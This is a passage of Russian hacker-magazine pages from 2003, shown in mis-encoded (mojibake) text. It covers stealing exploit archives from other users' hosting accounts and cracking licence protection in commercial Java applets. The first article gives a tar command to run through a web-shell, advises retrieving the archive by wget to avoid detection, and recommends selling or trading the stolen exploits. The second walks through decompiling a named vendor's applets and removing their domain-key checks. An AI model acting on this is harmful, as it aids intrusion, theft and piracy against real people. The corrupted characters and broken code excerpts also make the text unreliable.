Íå ðàññòðàèâàéñÿ, âèäèìî, âñå ïîëüçîâàòåëè<br />

õîñòèíãà ïîðÿäî÷íûå ëþäè è íå õðàíÿò íà íåì<br />

ýêñïëîèòîâ :). Îáðàçöîâûé âçëîìùèê íèêîãäà íå<br />

âûëîæèò ýêñïëîèòû íà web.  ëþáîì ñëó÷àå íå<br />

òåðÿé íàäåæäû è èùè ñëåäóþùóþ æåðòâó äëÿ ïîâòîðà<br />

îïåðàöèè :).<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

Ìîæåøü ñêà÷àòü ñêðèïò ñ<br />

http://kamensk.net.ru/forb/1/x/script_locate.tar.gz. Ïîïðîáóé<br />

ìîäèôèöèðîâàòü åãî è îòòî÷èòü äëÿ ëþáîé ñèòóàöèè<br />

ëåãêîãî ïîèñêà ýêñïëîèòîâ.<br />

Ñòÿãèâàåì äîáðî<br />

ÀÐÕÈÂÀÖÈß È ÄÎÁÛ×À ÍÀÉÄÅÍÍÎÃÎ<br />

Åñëè âñå ïðîøëî ãëàäêî, è òû íàøåë ïàïî÷êó hack<br />

íà õîñòèíãå ;), ïðèñòóïàé ê åå ñæàòèþ è ñòÿãèâàíèþ<br />

ñ ñåðâåðà. Ïðè õîðîøåì êàíàëå ìîæåøü óòÿíóòü<br />

åå ñàì, íî ÿ áû ñîâåòîâàë òåáå ñäåëàòü ýòî ñ<br />

êàêîãî-íèáóäü øåëëà, ÷òîáû íå ïàëèòüñÿ ëèøíèé<br />

ðàç. Àðõèâèðîâàòü æå ëó÷øå â òó ïàïêó, ãäå òû<br />

ñåé÷àñ þçàåøü web-shell:<br />

$ tar zcf hack.tar.gz /home/user/public_html/hack<br />

Çàòåì çàáèðàåøü ñ äðóãîãî øåëëà ýòó ïàïêó<br />

wget'îì, ðàñïàêîâûâàåøü è ñìîòðèøü âíóòðåííîñòè.<br />

Õîðîøèå ýêçåìïëÿðû îòêëàäûâàåøü è âûêà-<br />

÷èâàåøü ñåáå (ìíå ëè òåáÿ ó÷èòü ñîðòèðîâêå? ;)).<br />

Âçÿòèå ñïëîèòîâ äèðåêòîì ñ âåáà - ìàëîâåðîÿòíî<br />

è îïàñíî. Âî-ïåðâûõ, ïîëüçîâàòåëü, ñêîðåå âñåãî,<br />

ñîçäàë .htaccess äëÿ äèðåêòîðèè, òàê ÷òî êàòàëîã<br />

áóäåò ëèáî çàùèùåí ïàðîëåì, ëèáî çàêðûò äëÿ<br />

ïðîñìîòðà. Âî-âòîðûõ, âåäóòñÿ ëîãè, è, âîçìîæíî,<br />

ïîëüçîâàòåëü èõ ñìîòðèò. À åñëè òû äàëüíîâèäíûé<br />

÷åëîâåê, òî, íàâåðíîå, ïðîñåê ôèøêó, ÷òî<br />

þçåð, íå çíàÿ, ÷òî çà íèì ñëåäÿò, áóäåò ïîïîëíÿòü<br />

ñâîé àðõèâ, à òû ýòèì áóäåøü ïîëüçîâàòüñÿ<br />

è ñòÿãèâàòü 0day êàæäûé ðàç :). Ê òîìó æå, ó òåáÿ<br />

îòêðûâàåòñÿ âîçìîæíîñòü òðåéäèòü ýêñïëîèòû,<br />

÷òî âåñüìà ïðèáûëüíî.<br />

ÏÎÌÎÃÈ ÑÅÁÅ ÑÀÌ<br />

Âñå âûøåîïèñàííîå, êîíå÷íî, õîðîøî. Òû ìîæåøü<br />

äîâîëüñòâîâàòüñÿ äîáûòûìè ýêñïëîèòàìè,<br />

ïðîäàâàòü èõ, ëèáî èñïîëüçîâàòü ïî ïðÿìîìó íàçíà÷åíèþ.<br />

Íî çàïîìíè ñàìîå ãëàâíîå! Íå ïîâòîðÿé<br />

îøèáîê âûøåîïèñàííûõ èíäèâèäóóìîâ.<br />

Î÷åíü íå ñîâåòóþ âûêëàäûâàòü ÷òî-ëèáî íà âåá, à<br />

åñëè è íóæíî, òî òîëüêî íà ñâîåì ñåðâåðå è ïîä<br />

ïàðîëü. È ñëåäè çà áåçîïàñíîñòüþ, ÷åìó<br />

ïîñòîÿííî ó÷èò òåáÿ íàø æóðíàë :).<br />

1 2 3 4<br />

62 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

Âçëîì<br />

ÂÇËÎÌ JAVA-ÀÏÏËÅÒÎÂ<br />

Àíäðåé Êàðîëèê (andrusha@sl.ru)<br />

ÇÀÙÈÒÀ<br />

Ïðåæäå ÷åì ëîìàòü, ïðîÿñíþ ñèòóàöèþ - ÷òî íåõîðîøåãî<br />

íàâåøèâàþò íà àïïëåòû, è ñ ÷åì, ñîáñòâåííî,<br />

ïðåäñòîèò áîðîòüñÿ. Íàèáîëåå ðàñïðîñòðàíåííûõ<br />

âàðèàöèé íå òàê ìíîãî, à îñîáî èçîùðåííûå<br />

ìåòîäû ðàññìàòðèâàòü íå áóäó, ê òîìó æå<br />

çà÷àñòóþ îíè ïðåäñòàâëÿþò ñîáîé ñìåñü áîëåå<br />

ïðîñòûõ. Èòàê, â ñëó÷àéíîì ïîðÿäêå.<br />

ÒÐÈÀËÊÈ<br />

Êàê è â îáû÷íûõ òðèàëüíûõ ïðîãàõ åñòü ïðèâÿçêà<br />

ê òåêóùèì äàòå è âðåìåíè. Òî åñòü ïåðåä âûïîëíåíèåì<br />

âñåõ íàâîðîòîâ àïïëåòà ñòîèò ìàëåíüêàÿ<br />

ïðîöåäóðà, êîòîðàÿ ñìîòðèò, êàêîå íûí÷å ÷èñëî,<br />

è ñðàâíèâàåò ñ çàáèòîé âíóòðè îòñ÷åòíîé äàòîé.<br />

Åñëè ðàçíèöà ïðåâûøàåò äîïóñòèìóþ, òî âûáðàñûâàåòñÿ<br />

ëîãè÷åñêèé ôëàæîê, âûïîëíåíèå êîäà<br />

èäåò â îáõîä îñíîâíîé ïðîöåäóðû, à òåáå âûäàåòñÿ<br />

ñîîáùåíèå òèïà "Òâîå âðåìÿ âûøëî, íàêðûâàéñÿ<br />

áåëîé ïðîñòûíåé è ïîëçè â ñòîðîíó êëàäáèùà<br />

:)." È ïðåäëàãàåòñÿ åùå âàðèàíò: ïëàòèøü N<br />

áàêñîâ è âñå áóäåò îê. Òðèàëüíûé âàðèàíò âñòðå-<br />

÷àåòñÿ íå òàê ÷àñòî.  îòëè÷èå îò îáû÷íûõ ïðîã,<br />

êîòîðûå áåðóò çà îòñ÷åò äåíü óñòàíîâêè, àïïëåò<br />

íå óñòàíàâëèâàåòñÿ. Ïîýòîìó àâòîð àïïëåòà îòñ÷åòíóþ<br />

äàòó äîëæåí çàáèâàòü âðó÷íóþ.<br />

ÏÐÈÂßÇÊÀ Ê ÄÎÌÅÍÓ<br />

Ðàñïðîñòðàíåííûé âàðèàíò çàùèòû. Àïïëåò ñìîòðèò<br />

àáñîëþòíûé àäðåñ â èíåòå, ïî êîòîðîìó òû<br />

åãî âûêëàäûâàåøü, è ñ ïîìîùüþ õèòðîóìíîé ìåãàôîðìóëû<br />

âûñ÷èòûâàåò ñîîòâåòñòâóþùèé êëþ÷<br />

(îáû÷íî ÷èñëîâîé), êîòîðûé íåîáõîäèìî ââåñòè â<br />

ÂÇËÎÌ<br />

JAVA-<br />

À Ï Ï Ë Å Ò Î Â<br />

ÏÐÀÊÒÈ×ÅÑÊÎÅ ÏÎÑÎÁÈÅ Ñ ÊÀÐÒÈÍÊÀÌÈ ;)<br />

Õî÷åòñÿ ðàçìåñòèòü ó ñåáÿ íà ïàãå ÷òî-íèáóäü ýòàêîå, èíòåðåñíåíüêîå è ïðîäâèíóòîå, ÷åãî íåòó ó äðóãèõ:<br />

ïðèêîëüíóþ àíèìàøêó, çàåäàòåëüñêèé ñêðèïòèê, ïðîäâèíóòûé ÿâà-àïïëåòèê? Ñàìîìó äåëàòü - äîëãî è íóäíî<br />

;), à õî÷åòñÿ çäåñü è ñåé÷àñ. Íå âîïðîñ. Ñóùåñòâóåò ìíîæåñòâî ñàéòîâ, íà êîòîðûõ òîëïû æåëàþùèõ âûêëàäûâàþò<br />

ñâîè òâîðåíèÿ. Íå ñêàæó, ÷òîáû ãåíèàëüíûå, íî ïîðîé âñòðå÷àþòñÿ î÷åíü íåïëîõèå çàäóìêè. Ñ<br />

àíèìàøêàìè è ñêðèïòàìè ïðîñòî: íàøåë, ñêà÷àë, ïîèìåë ;). Àïïëåòû æå íå âñåãäà, ê ñîæàëåíèþ, ðàñïðîñòðàíÿþò<br />

èç ÷èñòîãî àëüòðóèçìà.  íàãðóçêó ñ àïïëåòîì èäåò îáÿçàòåëüíàÿ ðåêëàìà àâòîðà, íåíóæíûå<br />

ññûëêè è ïðî÷èå îãðàíè÷åíèÿ. Ïðè÷åì óáðàòü ýòè äîïîëíèòåëüíûå ðåêëàìíûå øòó÷êè àâòîð ïðåäëàãàåò<br />

ñàì, íî çà çåëåíûå ôàíòèêè. Åãî òîæå ìîæíî ïîíÿòü - êóøàòü õî÷åò. Íå ïðîéäåò! Çàõàïàåì íà õàëÿâó.<br />

êà÷åñòâå îäíîãî èç ïàðàìåòðîâ ìåæäó òåãàìè<br />

è . Åñëè êëþ÷ íå ââåäåí èëè<br />

íå ñîîòâåòñòâóåò, òî àïïëåò íà÷èíàåò øàëèòü: íå<br />

ðàáîòàåò, ëèáî ðàáîòàåò íåïîëíîöåííî è âûäàåò<br />

ñòðàñòíûå ïðèâåòñòâèÿ îò àâòîðà :).<br />

ËÎÊÀËÜÍÀß ÂÅÐÑÈß<br />

Äðóãîé âàðèàíò ïðåäûäóùåé çàùèòû. Àïïëåò ñìîòðèò,<br />

ÿâëÿåòñÿ ëè àáñîëþòíûé àäðåñ, ñ êîòîðîãî<br />

åãî çàïóñêàþò, ëîêàëüíûì. Åñëè àäðåñ ëîêàëüíûé,<br />

òî àïïëåò ðàáîòàåò áåç âîïðîñîâ, à òû íàñëàæäàåøüñÿ<br />

çàëîæåííûìè â íåãî âîçìîæíîñòÿìè. Íî<br />

ñòîèò âûëîæèòü ýòîò æå àïïëåò â èíåò, îí íà÷èíàåò<br />

êàïðèçíè÷àòü è ïîñûëàòü òåáÿ íà... ñàéò ê àâòîðó<br />

çà ïîäðîáíîñòÿìè :).<br />

ÄÅÌÎ-ÂÑÒÀÂÊÈ<br />

Íàèáîëåå ïîïóëÿðíàÿ çàùèòà. Íåò íèêàêèõ ïðèâÿçîê,<br />

è íåçàâèñèìî îò âðåìåíè ãîäà àïïëåò ïîëíîñòüþ<br />

ðàáîòîñïîñîáåí, íî âûäàåò âñÿêóþ äåìî-ëàáóäó.<br />

Ëèáî ñòàòè÷íî ãäå-íèáóäü â óãëó, ëèáî â ñàìîì<br />

íà÷àëå ïîñëå çàïóñêà. Î÷åíü íåðâèðóåò è âûçûâàåò<br />

æåëàíèå îòîðâàòü àâòîðó êàê ìèíèìóì ãîëîâó :).<br />

ÑÑÛËÊÈ ÍÀ ÀÂÒÎÐÀ<br />

Ýòîò áðåä ìîæíî óâèäåòü äàæå â ÿêîáû ñîâåðøåííî<br />

áåñïëàòíûõ àïïëåòàõ. ß ïîíèìàþ, ÷òî àâòîð<br />

óáèë êó÷ó âðåìåíè è çàðàáîòàë íàòóðàëüíûé<br />

ãåìîððîé, äåëàÿ ýòîò àïïëåò :). Ðåñïåêò åìó â<br />

áîëüíèöó. Íî ÿ íå õî÷ó ïîñòîÿííî âèäåòü åãî ìûëî<br />

èëè ññûëêó íà ñàéò. Îñîáî óìíûå çàñîâûâàþò<br />

ýòó ññûëêó òîëüêî íà äâîéíîé êëèê èëè íàæàòèå<br />

ïðàâîé êíîïêè ìûøè. Îò ýòîãî, ïðàâäà, íå ëåã÷å.<br />

ÏÐÈÂßÇÊÀ Ê ÏÀÐÀÌÅÒÐÀÌ<br />

Äîñòàòî÷íî ðàñïðîñòðàíåííûé âèä çàùèòû. Îñîáåííî<br />

äëÿ àïïëåòîâ, â êîòîðûõ çàäàåòñÿ ìíîæåñòâî<br />

ðàçíîîáðàçíûõ ïàðàìåòðîâ ÷åðåç òåãè<br />

è . Àâòîð äëÿ õàëÿâùèêîâ íàìåðåííî<br />

óðåçàåò äèàïàçîí èõ èçìåíåíèÿ èëè âîîáùå<br />

æåñòêî ôèêñèðóåò. Äðàçíèò êîíôåòêîé, çàðàçà,<br />

äàåò îáëèçàòü, íî íå äàåò ñêóøàòü :).<br />

ÏÐÎ×ÅÅ<br />

Ê ïðî÷èì ìîæíî îòíåñòè âñå äðóãèå ìûñëèìûå è<br />

íåìûñëèìûå îãðàíè÷åíèÿ, êîòîðûå ìîæåò ïðèäóìàòü<br />

âîñïàëåííûé ìîçã ðàçðàáîò÷èêà àïïëåòà.<br />

Ðàáîòàåò ïî ñõåìå: ýòî äåëàåò, òî íå äåëàåò, ýòî<br />

äåëàåò, íî òîëüêî òàê, è ò.ï.<br />

ÏÎÄÃÎÒÎÂÊÀ<br />

Ñàìîå ñìåøíîå, ÷òî ïî÷òè âñåãäà àïïëåòû ïîëíîñòüþ<br />

ðàáîòîñïîñîáíû. Ýòî íå ñëó÷àéíî, òàê êàê àâòîð<br />

õî÷åò ïðîäåìîíñòðèðîâàòü âñå çàëîæåííûå âîçìîæíîñòè,<br />

÷òîáû çàâëå÷ü ïîòåíöèàëüíîãî ïîêóïàòåëÿ.<br />

Ïîêóïàþò ïóñòü òóïûå òîëñòîñóìû, à òåáå íóæíî<br />

âñåãî ëèøü èçáàâèòüñÿ îò íàçîéëèâîé çàùèòû îò<br />

äóðàêîâ. Òî åñòü íåîáõîäèìî áàíàëüíî óäàëèòü èëè<br />

ïîäêîððåêòèðîâàòü â êîäå ïðîöåäóðû, ñ ïîìîùüþ<br />

êîòîðûõ îñóùåñòâëÿåòñÿ çàùèòà. Äëÿ ýòîãî íóæíû<br />

ìèíèìàëüíûå çíàíèÿ ñèíòàêñèñà Java è èñõîäíèê<br />

(÷èòàé java-ôàéë). Ñèíòàêñèñ Java - îòäåëüíàÿ è<br />

áîëüøàÿ òåìà, òàê ÷òî ÷èòàé óìíûå êíèæêè, ðîéñÿ â<br />

ìàíóàëå, ñìîòðè ïîáîëüøå èñõîäíèêîâ ñ êîììåíòàðèÿìè<br />

è íàáèðàéñÿ îïûòà. Â êîíöå êîíöîâ, ïîñìîòðè<br />

ðåàëüíûå ïðèìåðû, íà êîòîðûõ ÿ íèæå ïîêàæó,<br />

êàê íàäî êîððåêòíî âû÷èùàòü íåíóæíûé ìóñîð èç<br />

1 2 3 4<br />

64 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


èñõîäíîãî êîäà. Èñõîäíèêè ê "ãðÿçíûì" àïïëåòàì,<br />

åñòåñòâåííî, íå ïðèëàãàþòñÿ. Íî îíè íå ïîíèìàþò,<br />

ñ êåì èìåþò äåëî :), õâàòèò è áàéò-êîäà (classôàéë).<br />

Îñòàëüíîå çà òåáÿ ñäåëàåò Java Code Viewer.<br />

ÍÓÆÅÍ ËÎÌ<br />

Åñëè åñòü òîëüêî áàéò-êîä, à íóæåí èñõîäíèê, òî<br />

ñïàñàåò îòëè÷íàÿ ïðîãðàììêà - NMI's Java Code<br />

Viewer. Ýòî äåêîìïèëÿòîð è äèçàññåìáëåð javaïðîãðàìì<br />

â îäíîì ôëàêîíå. Êàê íàïèñàíî â ìàíóàëå,<br />

ïðåêðàñíûé èíñòðóìåíò äëÿ èññëåäîâàíèÿ<br />

êîäà ÷óæèõ ïðîãðàìì.<br />

Ïðîãà î÷åíü ïðîñòàÿ è áåç ëèøíèõ íàâîðîòîâ â èíòåðôåéñå.<br />

Äëÿ ðàáîòû íóæíî óñòàíîâèòü èíñòðóìåíòàðèé<br />

JDK (Java Development Kit) íå íèæå âåðñèè<br />

1.2, áåñïëàòíî óòÿãèâàé åãî ñ http://java.sun.com.<br />

Java Code Viewer ñïîñîáåí âîññîçäàòü èñõîäíûé êîä<br />

(äåêîìïèëèðîâàòü) èç äâîè÷íûõ ôàéëîâ Java êëàññîâ<br />

(èç áàéò-êîäà) è ñîçäàòü íèçêîóðîâíåâûé java<br />

áàéòîâûé êîä. Ïîñëåäíåå - ýòî äèçàññåìáëèðîâàíèå,<br />

â íàøåì ñëó÷àå ñîâåðøåííî íå íóæíî. Íà äîñóãå<br />

ìîæåøü ïîèãðàòüñÿ. Äëÿ íàøèõ öåëåé ïîíàäîáèòñÿ<br />

òîëüêî äåêîìïèëÿöèÿ.<br />

ÌÀØÅÌ ËÎÌÎÌ<br />

Çàïóñêàåøü Java Code Viewer, ïðåäâàðèòåëüíûé<br />

ïðîãðåâ íå òðåáóåòñÿ :). Åñëè õî÷åøü ïîñëå äåêîìïèëÿöèè<br />

ñðàçó ïîëó÷èòü *.java ôàéë, òî ñäåëàé óñòàíîâêó<br />

Options -> Decompilation Format -> Java.<br />

Ïî óìîë÷àíèþ ïèøåò â *.nmi, ÷òîáû ñëó÷àéíî íå<br />

çàïèñàòü ïîâåðõ ðåàëüíîãî èñõîäíèêà, åñëè îí<br />

åñòü.  íàøåì ñëó÷àå åãî èçíà÷àëüíî íåò. Åñëè<br />

àïïëåò çààðõèâèðîâàí, òî ïðåäâàðèòåëüíî åãî ðàçàðõèâèðóé:<br />

File -> Extract Jar Archive (äëÿ *.jar)<br />

èëè File -> Extract Zip Archive (äëÿ *.zip). À äàëåå<br />

âûäåëè íóæíûå êëàññû (*.class), êîòîðûå õî÷åøü<br />

äåêîìïèëèðîâàòü, è âïåðåä: Process -> Decompile.<br />

Ñåêóíäíîå äåëî - è èñõîäíèêè â êàðìàíå.<br />

ËÎÌÊÀ<br />

Âåñü ïðîöåññ ìîæíî óñëîâíî ðàçäåëèòü íà îòäåëüíûå<br />

ýòàïû: ïîèñê íóæíîãî àïïëåòà â èíåòå,<br />

ñêà÷èâàíèå åãî áàéò-êîäà (ñàì àïïëåò), âûòÿãèâàíèå<br />

èç íåãî èñõîäíîãî êîäà, âíåñåíèå òðåáóåìûõ<br />

èçìåíåíèé íåïîñðåäñòâåííî â èñõîäíèê è êîìïèëÿöèÿ<br />

àïïëåòà çàíîâî.<br />

ÏÎÈÑÊ È ÑÊÀ×ÊÀ<br />

Ïðîöåññ áîëüøå ñòèõèéíûé, ÷åì ñèñòåìàòèçèðîâàííûé.<br />

Èñêàòü ìîæíî ÷åðåç ïîèñêîâèê, îïèñàâ<br />

òðåáóåìûå âîçìîæíîñòè àïïëåòà, íà ñàéòàõ, ãäå<br />

âûëîæåíû ãîðû àïïëåòîâ (ôðèâàðíûõ è øàðîâàðíûõ),<br />

íà ñàéòàõ êîíòîð èëè èíäèâèäóàëîâ, ñïåöèàëèçèðóþùèõñÿ<br />

íà ñîçäàíèè åäèíè÷íûõ è íàâîðî÷åííûõ<br />

àïïëåòîâ, ëèáî ïðîñòî ãóëÿÿ ïî ðàçíûì<br />

ïàãàì, ãäå óæå èñïîëüçîâàíû êàêèå-ëèáî àïïëåòû.<br />

Êîìó êàê íðàâèòñÿ. Åñëè ññûëêà íà àïïëåò<br />

âûñòàâëåíà, òî êà÷àé áåç ïðîáëåì. Åñëè ññûëêè<br />

íåò, òî ïîëåçàé âíóòðü HTML-ôàéëà, ñìîòðè â òåãå<br />

àäðåñ ê àïïëåòó è âûêà÷èâàé ïðîãîé<br />

òèïà GetRight.<br />

ÄÅÊÎÌÏÈËßÖÈß<br />

Äåëàåòñÿ çà ñ÷èòàííûå ñåêóíäû ïðè ïîìîùè<br />

NMI's Java Code Viewer (ñì. âûøå). Åñëè àïïëåò<br />

õàëÿâíûé, òî çà÷àñòóþ èñõîäíèê ê íåìó óæå ïðèëàãàåòñÿ,<br />

è ïàðèòüñÿ íå íàäî.<br />

ÓÄÀËÅÍÈÅ ÌÓÑÎÐÀ<br />

Îñòàíåòñÿ óäàëèòü òó ÷àñòü êîäà, êîòîðàÿ îòâå÷àåò<br />

çà íàäîåäëèâóþ ðåêëàìíóþ íàäïèñü èëè äðóãóþ<br />

íàâÿçàííóþ øíÿãó. Â ïðèíöèïå, èñõîäíûé<br />

êîä íà Java ìîæíî ÷èòàòü è ðåäàêòèðîâàòü äàæå â<br />

îáû÷íîì NotePad. Íî ïîñëå âíåñåíèÿ èçìåíåíèé<br />

ïîíàäîáèòñÿ ñäåëàòü ïðîâåðêó íà êîððåêòíîñòü<br />

óäàëåíèÿ êóñêîâ êîäà, îáúÿâëåíèé ïåðåìåííûõ,<br />

êîòîðûå âõîäèëè â óäàëåííûå ÷àñòè êîäà, ññûëîê<br />

íà ýòè ïåðåìåííûå è äðóãèõ îïåðàöèé ñ ýòèìè<br />

ïåðåìåííûìè â äðóãèõ ìåñòàõ èñõîäíèêà. Ïðîùå<br />

âñåãî ýòî äåëàòü â âèçóàëüíûõ ñðåäñòâàõ ðàçðàáîòêè<br />

Java-ïðèëîæåíèé è àïïëåòîâ. Ñàìûì ëó÷øèì<br />

ñðåäñòâîì ñ÷èòàåòñÿ Borland JBuilder, ýòîé<br />

ïðîãîé è ñîâåòóþ âîñïîëüçîâàòüñÿ.<br />

ÊÎÌÏÈËßÖÈß<br />

Êîãäà óäàëèøü íå÷èñòîòû, íîâûé àïïëåò äëÿ äàëüíåéøåãî<br />

èñïîëüçîâàíèÿ íåîáõîäèìî îòêîìïèëèðîâàòü,<br />

â ðåçóëüòàòå ïîëó÷èòñÿ íîâûé class-ôàéë. Òóò<br />

óæå NotePad íå ïîìîæåò, è áåç JBuilder íå îáîéòèñü.<br />

ÏÐÈÌÅÐ ËÎÌÊÈ<br />

Òåïåðü ñàìîå âêóñíîå, ëîìàåì ðåàëüíûé àïïëåò.<br />

 êà÷åñòâå ïðèìåðà ÿ âûáðàë èíòåðåñíûå àïïëåòû,<br />

êîòîðûå äåéñòâèòåëüíî ìîãóò òåáå ïðèãîäèòüñÿ.<br />

Íà ïðèìåðå ÿ íàãëÿäíî ïîêàæó âåñü ïðîöåññ<br />

îò è äî. Ïîéìóò äàæå òå, êòî äî ýòîãî íå çíàë<br />

Java â ïðèíöèïå :).<br />

ÖÅËÜ ÍÓÌÅÐ ÎÄÈÍ<br />

Ïåðâûì ïî ñïèñêó ïîä óäàð ïîïàë ïðîåêò ET Applets<br />

(www.entanke.se), êîòîðûé çàíèìàåòñÿ ðàçðàáîòêîé<br />

äîâîëüíî êà÷åñòâåííûõ(!) àïïëåòîâ äëÿ âåáà è ïðèòîðãîâûâàåò<br />

èìè ïî 30 çåëåíûõ çà êîìïëåêò (10 ðàçíûõ<br />

àïïëåòîâ ñ âàðèàöèÿìè äëÿ êàæäîãî). Íåïîðÿäîê,<br />

áóäåì ëå÷èòü :). Óäîáíî, ÷òî ê êàæäîìó àïïëåòó<br />

åñòü íåñêîëüêî ïðèìåðîâ è ïîäðîáíàÿ, à ãëàâíîå äîñòóïíàÿ<br />

äîêóìåíòàöèÿ (íà àíãëèéñêîì). Çàùèòà àïïëåòîâ<br />

ñäåëàíà ïðèâÿçêîé ê äîìåííîìó èìåíè ñåðâàêà,<br />

êóäà òû èõ âûêëàäûâàåøü. Ïî õèòðîé ôîðìóëå,<br />

êîòîðàÿ çàøèòà âíóòðè àïïëåòà, ãåíåðèðóåòñÿ êëþ÷ è<br />

ñðàâíèâàåòñÿ ñ ââåäåííûì â ïàðàìåòðàõ àïïëåòà<br />

ìåæäó òåãàìè è . Åñëè îí íå ñîâïàäàåò,<br />

òî âñå àïïëåòû ðàáîòàþò, íî â ñàìîì íà÷àëå<br />

â ðåæèìå çàäåðæêè âûäàþò ñëåäóþùèé òåêñò "Demo<br />

version delay. Applet by Entanke. Only for private use.<br />

Click here for info!". Ãàäîñòü, êîðî÷å :).<br />

 ÏÐÎÖÅÑÑÅ<br />

Ñêà÷èâàåøü âåñü áîåêîìïëåêò ET Applets v2.22 âåñîì<br />

461 Êá. Âåñèò ïðèëè÷íî èç-çà áîëüøîãî êîëè-<br />

÷åñòâà ïðèìåðîâ è äîêóìåíòàöèè, ÷óâàê ïîðàáîòàë<br />

íà ñëàâó, ãðåõ íå âîñïîëüçîâàòüñÿ ïëîäàìè åãî<br />

òðóäà. Äëÿ òðåïàíàöèè âûáåðåì îäèí èç àïïëåòîâ,<br />

ê ïðèìåðó, ET_TextScroll. Îñòàëüíûå ëîìàþòñÿ ïî<br />

àíàëîãèè, òàê êàê çàùèòà íà âñåõ ñòîèò îäèíàêîâàÿ.<br />

Îòûñêèâàåøü êëàññ ýòîãî àïïëåòà,<br />

ET_TextScroll.class. Çàïóñêàåøü NMI's Java Code<br />

Viewer è îòêðûâàåøü â íåì ET_TextScroll.class, âûäåëÿåøü<br />

ìûøêîé è èãðàþ÷è âûáèðàåøü Process -><br />

Decompile. Çàñåêàåøü ðîâíî ïîëñåêóíäû :) è ïîëó-<br />

÷àåøü ãîòîâûé èñõîäíèê. Äàëåå çàïóñêàåøü<br />

JBuilder è ñîçäàåøü íîâûé ïðîåêò (File -> New<br />

Project). Ïðîåêò íàäî íàçâàòü ET_TextScroll è ïðîïèñàòü<br />

íåîáõîäèìûå ïóòè, ïîòîì ïðè êîìïèëÿöèè<br />

JBuilder âûïëþíåò ñîãëàñíî ýòèì íàñòðîéêàì ãîòîâûé<br />

àïïëåò è ïðîìåæóòî÷íûå ôàéëû. Äàëåå ñîçäàåøü<br />

íîâûé êëàññ (File -> New Class), îáçûâàåøü<br />

åãî òîæå ET_TextScroll è êîïèðóåøü â íåãî ñîäåðæèìîå<br />

äåêîìïèëèðîâàííîãî ET_TextScroll.java. Íè-<br />

÷åãî íå ìåíÿÿ â êîäå, çàïóñêàåøü íà êîìïèëÿöèþ<br />

(Ctrl+Shift+F9), ÷òîáû ïðîâåðèòü íà íàëè÷èå îøèáîê,<br />

êîòîðûå ìîãëè ïîÿâèòüñÿ ïðè äåêîìïèëÿöèè.<br />

ÎÒËÎÂ ÎØÈÁÎÊ ÄÅÊÎÌÏÈËßÖÈÈ<br />

<br />

È äâå îøèáêè äåêîìïèëÿöèè åñòü. Ïåðâàÿ: ïðè<br />

äåêîìïèëÿöèè NMI's Java Code Viewer ïî÷åìó-òî<br />

íå ïðîïèñàë êîððåêòíî âñå èñêëþ÷åíèÿ, íî ýòî<br />

ýëåìåíòàðíî ïîïðàâèòü ðó÷êàìè. Íàõîäèøü âñå<br />

áëîêè ïåðåõâàòà èñêëþ÷åíèé catch, ê ïðèìåðó,<br />

catch(MalformedURLException), è ïåðåïèñûâàåøü<br />

êàê catch(MalformedURLException e).<br />

Âòîðàÿ: ïîñëå äåêîìïèëÿöèè â ìåòîäå parseNext()<br />

âìåñòî ïðîáåëà ïî÷åìó-òî ïðèáàâëÿåòñÿ 32. Íóæíî<br />

çàìåíèòü âûðàæåíèå space += 32 íà space +=<br />

' '. Ýòà îøèáêà íå ìåøàåò êîìïèëÿöèè, íî<br />

âñå ïðîáåëû â âûâîäèìîì òåêñòå áóäóò çàìåíÿòüñÿ<br />

÷èñëîì 32.<br />

5 6 7 8 9<br />

Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 65


Âçëîì<br />

ÂÇËÎÌ JAVA-ÀÏÏËÅÒÎÂ<br />

Àíäðåé Êàðîëèê (andrusha@sl.ru)<br />

private final void parseNext() {<br />

--- êóñîê êîäà ïðîïóùåí --case<br />

32: // ' '<br />

space += ' ';<br />

--- êóñîê êîäà ïðîïóùåí ---<br />

ÍÅÉÒÐÀËÈÇÀÖÈß ÇÀÙÈÒÛ<br />

Ïîñëå ýòèõ íåõèòðûõ òåëîäâèæåíèé êîìïèëÿöèÿ<br />

ïðîõîäèò áåç ïðîáëåì. Òåïåðü ïåðåõîäèøü ê èçó-<br />

÷åíèþ êîäà. À âîò è çàùèòà, ãåíåðàöèÿ êëþ÷à ïî<br />

äîìåíó è ñâåðêà ñ çàäàííûì ïðîèñõîäèò â ìåòîäå<br />

isDemoVersion(), ðàçáåðåì ïîäðîáíåå:<br />

private final boolean isDemoVersion() { // îáúÿâëåíèå<br />

ìåòîäà<br />

URL url1 = getDocumentBase(); // îïðåäåëåíèå<br />

äîìåííîãî èìåíè<br />

if(url1.getProtocol().equalsIgnoreCase("file")) //<br />

ïðîâåðêà, âûïîëíÿåòñÿ ëîêàëüíî èëè â èíåòå<br />

return false; // åñëè ëîêàëüíî, òî çàùèòà îòêëþ÷àåòñÿ<br />

char ac[] =<br />

url1.getHost().toLowerCase().toCharArray(); // èç<br />

äîìåííîãî èìåíè ñîçäàåòñÿ ñèìâîëüíûé ìàññèâ<br />

int i = 23093; // êàêîå-òî öåëîå ÷èñëî<br />

for(int j = 0; j < ac.length; j++) // çàöèêëèâàåòñÿ<br />

íà äëèíó ñèìâîëüíîãî ìàññèâà<br />

i ^= ac[j] this$0.AppletH - 24 &&<br />

this$0.mouseX < 120) { // åñëè êóðñîð íàõîäèòñÿ â<br />

ïðÿìîóãîëüíîé îáëàñòè 120õ24 ïèêñåëîâ â ëåâîì<br />

íèæíåì óãëó<br />

this$0.mousePressed = false; // ñíÿòèå ôëàæêà<br />

try { // îáðàáîòêà èñêëþ÷åíèÿ<br />

URL url = new URL("http://www.eigelb.at"); //<br />

çàäàåòñÿ óðë àâòîðà<br />

AppletContext appletcontext =<br />

this$0.getAppletContext(); // ññûëêà íà îêíî áðàóçåðà,<br />

â êîòîðîì çàãðóæåí àïïëåò<br />

appletcontext.showDocument(url, "_blank"); //<br />

çàãðóçêà óðëà â íîâîì îêíå áðàóçåðà<br />

}<br />

catch(MalformedURLException malformedurlexception)<br />

{ } // îáðàáîòêà èñêëþ÷åíèÿ<br />

this$0.mousePressed = false; // ñíÿòèå ôëàæêà<br />

} else { // åñëè êóðñîð íå íàõîäèòñÿ â ïðÿìîóãîëüíîé<br />

îáëàñòè 120õ24 ïèêñåëîâ â ëåâîì íèæíåì<br />

óãëó<br />

this$0.dragStartX = this$0.mouseX; // íà÷àëüíàÿ<br />

1 2 3 4<br />

